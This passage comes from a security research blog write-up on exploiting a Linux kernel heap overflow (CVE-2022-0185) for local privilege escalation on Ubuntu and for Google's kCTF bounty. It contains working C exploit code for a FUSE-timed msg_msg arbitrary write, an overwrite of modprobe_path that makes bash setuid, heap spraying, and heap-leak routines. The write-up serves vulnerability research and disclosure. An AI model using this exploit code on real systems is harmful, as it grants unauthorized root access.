functions to work, as libfuse is notoriously difficult to statically
link, as seen <a href="https://github.com/libfuse/libfuse/issues/383">here</a> because it specifically relies on <code>dl_open</code> for some extra features. We addressed this by removing all the references to <code>dl_open</code>
and rebuilding the library. Static compilation then worked nicely and
this technique would work on any system with <code>CONFIG_FUSE</code> enabled
regardless of libfuse or fusermount availability.</p><p>
</p><p>One last thing with this exploit… where do we target? For the exploit
simplicity’s sake, we only targeted <code>modprobe_path</code> (the classic
<code>modprobe_path</code> kernel pwning trick) for our Ubuntu LPE exploits. We
overwrote it with the path to a script that made /bin/bash suid, and
this script will trigger with root privileges whenever anyone attempts
to run a binary with an invalid header. Here is our Ubuntu LPE exploit
so far:</p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// msg_msg arb write trick by hanging before <code>msg_msgseg</code> on usercopy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// use FUSE to time the race</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">do_win</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> buffer[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pat[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
msg* message = (msg*)buffer;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x44</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer));
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *evil_page = mmap((</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1337000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> race_page = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1338000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
msg *rooter = (msg *)(race_page</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-0x8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
rooter->mtype = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1010</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> target = make_queue(IPC_PRIVATE, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0666</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> | IPC_CREAT);
send_msg(target, message, size - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Opening ext4 filesystem"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
fd = fsopen(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ext4"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"Opening"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Overflowing..."</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pat, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">117</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, pat, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Prepaing fault handlers via FUSE"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> evil_fd = open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"evil/evil"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_RDWR);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (evil_fd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"evil fd failed"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ((mmap((</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1338000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)) != (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1338000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mmap fail fuse 1"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">pthread_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> thread;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> race = pthread_create(&thread, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, arb_write, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(race != </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"can't setup threads for race"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
send_msg(target, rooter, size - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
pthread_join(thread, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
munmap((</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1337000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
munmap((</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1338000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
close(evil_fd);
close(fd);
}</span></p></div><p>You can find the full link to our exploit here: <a href="https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_fuse.c">https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_fuse.c</a>; it can be
easily adjusted for any kernel versions above 5.7, and the spray will
need to be reworked for even older versions. Now with /bin/bash as suid,
the exploit will finish. As any low privileged user with access to
bash, one can just run it with the -p argument to achieve root
privileges! All in all, a really simple (and reliable) exploit using
techniques discovered in the CTF world.</p><p>Having an Ubuntu LPE is great and all, but what we really wanted to
try was the Google kCTF VRP program for their bounty. The money would be
great, and <del>an exploit in a hardened environment will be quite useful during CTFs.</del>
They offered two challenges: kctf and fullchain. kctf is where you root
the container to read the container’s root flag, and fullchain is where
you root the container, escape to host, and then read the root flag of
another container. Fullchain is the goal. </p><p>There were many issues early on. For one, the /dev folder was
barebones, so fuse and other favorite kernel exploit structures like
<code>tty_struct</code> were unavailable. Userfaultfd was of course be
disabled, and the kernel heap in the 4k slab seemed to have had many
structures as well (the heap behaved more actively in this container
environment in general for the slabs I targeted) - this required better
spraying strategies to help with stability. </p><p>One more important issue is in regards to the <code>GFP_KERNEL_ACCOUNT</code>
flag. Accounting flag is usually reserved for objects with data from
userland - famous structures like <code>msg_msg</code> are all allocated with them.
Before 5.9, the kernel placed accounted objects in separate slabs, but
this only takes affect with the <code>CONFIG_MEMCG_KMEM</code> compilation option…
another case of an upgrade making exploits easier.</p><p>How does the above issue affect our exploit? Shouldn’t the legacy
data allocations also have the accounting flags based on its purpose in
documentation? Well, it should, but it seems like kernel developers
forgot about this until a <a href="https://github.com/torvalds/linux/commit/bb902cb47cf93b33cd92b3b7a4019330a03ef57f#diff-c4a9ea83de4a42a0d1bcbaf1f03ce35188f38da4987e0e7a52aae7f04de14a05">recent commit for 5.16</a>.
This means that <code>msg_msg</code> would not be able to be abused on the kctf
infrastructure Google hosted, which was on 5.4, and we would have to
look for a new structure, either through a lot of source reading or
CodeQL. We were lucky as it was around this time that an update for kctf
was almost complete where Kubernetes running on a 5.10 kernel would be
available (hence the creation of kctf.vrp2.ctfcompetition.com), so we
just ended up targeting this one to save time.</p><p>Note that Starlabs managed to get it on the older kctf instance. I
asked n0psledbyte afterwards about their approach - they managed to
abuse <code>msg_msg</code> too by performing a cross cache overflow, an interesting
concept I’ve never really thought about. grsecurity has an <a href="https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game">article</a> related to this strategy and I am curious how much spraying is required to achieve an acceptable reliability rate.</p><p>With limited abilities to control a race, we can’t exactly use
<code>msg_msg</code> for arbitrary write. Our thoughts at this point were to either
rely on the unlink primitive or arbitrary free primitive that <code>msg_msg</code>
provides. Our end goal was to replace the <a href="https://elixir.bootlin.com/linux/v5.7/source/include/linux/pipe_fs_i.h#L21">pipe_buffer</a>
pointer to a function table with a pointer to some other arbitrary
msg_msg chunk, for us to gain ROP control. Thanks to articles from <a href="https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html">Andy Nguyen</a> and <a href="https://bsauce.github.io/2021/09/26/kernel-exploit-%E6%9C%89%E7%94%A8%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93/">bsauce</a> for providing me with the <code>pipe_buffer</code> idea!</p><p>Before I discuss unlink or the arbitrary free primitive, I need to
first discuss the heap spraying technique I used here to help with
slab randomization on top of a busier heap, and the mechanism to which I
achieved a heap leak.</p><p>A chat with D3v17 and this <a href="https://github.com/PaoloMonti42/salt/blob/master/docs/0x00_SLUB_refresher.md#slub">article</a>
were pretty helpful for planning out the spray. As mentioned
previously, the first thing I did was to force cpu affinity on one core,
as each cpu has its own freelists. Some other tricks I did (I’m not
sure if they actually do help as it might just be placebo, but when
testing, they definitely increased exploit reliability) were the
following - a lot of the spray related constants I used in the final
exploit was specifically targeted towards the Kubernetes infrastructure:</p><ol>
<li>
<p>Pre-allocate a ton of chunks beforehand using <code>msg_msg</code> sprays. Then,
after each stage of the exploit, or when trying to repeat a stage, I
would trigger some of them to be freed. Hopefully, this covers up some
of the corruption and prevents crashes on future allocations. All of
these saved chunks would be dumped as well before triggering a root
shell as a final “cleanup.”</p>
</li>
<li>
<p>Before performing overflows into <code>msg_msg</code> objects from <code>fsconfig</code>, I
would allocate anywhere from 4 to 7 <code>msg_msg</code> objects (as there are only 8
objects in a kmalloc-4k slab). I would then trigger a <code>MSG_COPY</code> on one
of them, which would force an allocation and free in the same slab in the copy process. Hopefully, this would create a hole in the
slab, and my next allocation of the legacy data region will go right on
top of a <code>msg_msg</code> object.</p>
</li>
</ol><p>With this spray mechanism, I managed to easily achieve kernel leaks
and heap leaks. For my heap leaks, I used that fact that each <code>msg_queue</code>
connects their <code>msg_msg</code> objects together in a doubly linked list. If you
allocate a kmalloc-64 <code>msg_msg</code> object between a kmalloc-512 object and a
kmalloc-1k object in one queue, and allocate a kmalloc-4k <code>msg_msg</code>
chained to a kmalloc-64 <code>msg_msgseg</code> object in another queue, you can abuse
OOB read to leak out the kmalloc-512 and kmalloc-1k object addresses.
Using kmalloc-512 isn’t necessarily required, it’s just what I chose and
I didn’t bother changing it afterwards. The diagram below should help
clarify this stage. </p><p>
</p><p>Heap Setup:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhQxppxQVEFTI_8LvhYfn8UVvmerOlNEsAyQ4SILvl3a4dGeg-oONk-QVcrj5h5uYpymjwnDOUcY603sd-PjjqyS4bufe453DQtWcmoD9UW8mn8oXMJr2WwB7CULB6mn986c1QkCnqsIAWviAZUf9O3W8ZS7au5q0dkjUjO5IW_QHwyjLzH5_nwnzUXVg=s1094" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="588" data-original-width="1094" height="344" src="https://blogger.googleusercontent.com/img/a/AVvXsEhQxppxQVEFTI_8LvhYfn8UVvmerOlNEsAyQ4SILvl3a4dGeg-oONk-QVcrj5h5uYpymjwnDOUcY603sd-PjjqyS4bufe453DQtWcmoD9UW8mn8oXMJr2WwB7CULB6mn986c1QkCnqsIAWviAZUf9O3W8ZS7au5q0dkjUjO5IW_QHwyjLzH5_nwnzUXVg=w640-h344" width="640" /></a></div><br /> Overflow into <code>m_ts</code> (size) to achieve OOB read on MSG_COPY:<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjBHPc32Ssq1tcbZBwjFaxSFqDSlfzdyEwsR5WdYd2FboUBFQ4NaSjyYwd89pvsnrUyQKmNDq71BTTIOICfKbKhL8_Vrt2vXzFZlLPW4zb20Cn95yTa2KclDX8odOBkwRIwdmKaRvdX4kuLiFdCpV60gdMlsY9V0jCIJnWnI4Wn4qTCxMnEvNMqvU_hwQ=s1115" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="604" data-original-width="1115" height="346" src="https://blogger.googleusercontent.com/img/a/AVvXsEjBHPc32Ssq1tcbZBwjFaxSFqDSlfzdyEwsR5WdYd2FboUBFQ4NaSjyYwd89pvsnrUyQKmNDq71BTTIOICfKbKhL8_Vrt2vXzFZlLPW4zb20Cn95yTa2KclDX8odOBkwRIwdmKaRvdX4kuLiFdCpV60gdMlsY9V0jCIJnWnI4Wn4qTCxMnEvNMqvU_hwQ=w640-h346" width="640" /></a></div><br /><p>You can also figure out which <code>msg_queue</code> those leaked addresses belonged
to based on the contents in msg_msg data, so you can seletively free
them and rely on LIFO to place objects there in advance. I replaced the
kmalloc-1k one with a <code>pipe_buffer</code> object while kmalloc-512 already had
stack pivot gadgets ready.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEi-uVg41L4yTKo99UElvhQjmL57jY0YaWCKYZZCHCqwfjYpTfvKyCBbDe7yt0SFLvNdwi6xWnnjZP3lL_81sxZ8mjWqLAVCx-WCpwRQdmLNiBv0dkHrwSUM-xGxjew2yOSm56nEXe8TnE2Gmp_d3K1uHdIC43005moylzd1_RYjGjYNmMhKMTw_QAxJnQ=s1118" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="600" data-original-width="1118" height="344" src="https://blogger.googleusercontent.com/img/a/AVvXsEi-uVg41L4yTKo99UElvhQjmL57jY0YaWCKYZZCHCqwfjYpTfvKyCBbDe7yt0SFLvNdwi6xWnnjZP3lL_81sxZ8mjWqLAVCx-WCpwRQdmLNiBv0dkHrwSUM-xGxjew2yOSm56nEXe8TnE2Gmp_d3K1uHdIC43005moylzd1_RYjGjYNmMhKMTw_QAxJnQ=w640-h344" width="640" /></a></div><p>The following snippet code should lead to a heap leak: </p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">double_heap_leaks </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">do_heap_leaks</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> kmalloc_1024 = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> kmalloc_512 = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pivot_spray[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *pivot_spray_ptr = (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)pivot_spray;
double_heap_leaks leaks = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> linked_msg[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">256</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> pat[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> buffer[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">}, recieved[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
msg *message = (msg *)buffer;
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// spray kmalloc-512 linked to kmalloc-64 linked to kmalloc-1k in unique msg queues</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">255</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++)
{
linked_msg[i] = make_queue(IPC_PRIVATE, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0666</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> | IPC_CREAT);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pivot_spray, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pivot_spray));
pivot_spray_ptr[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;i ++)
{
pivot_spray_ptr[i+</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = stack_pivot;
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// spray pivots using kmalloc-512 allocations</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
send_msg(linked_msg[i], pivot_spray, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x200</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">+i, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer));
message->mtype = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
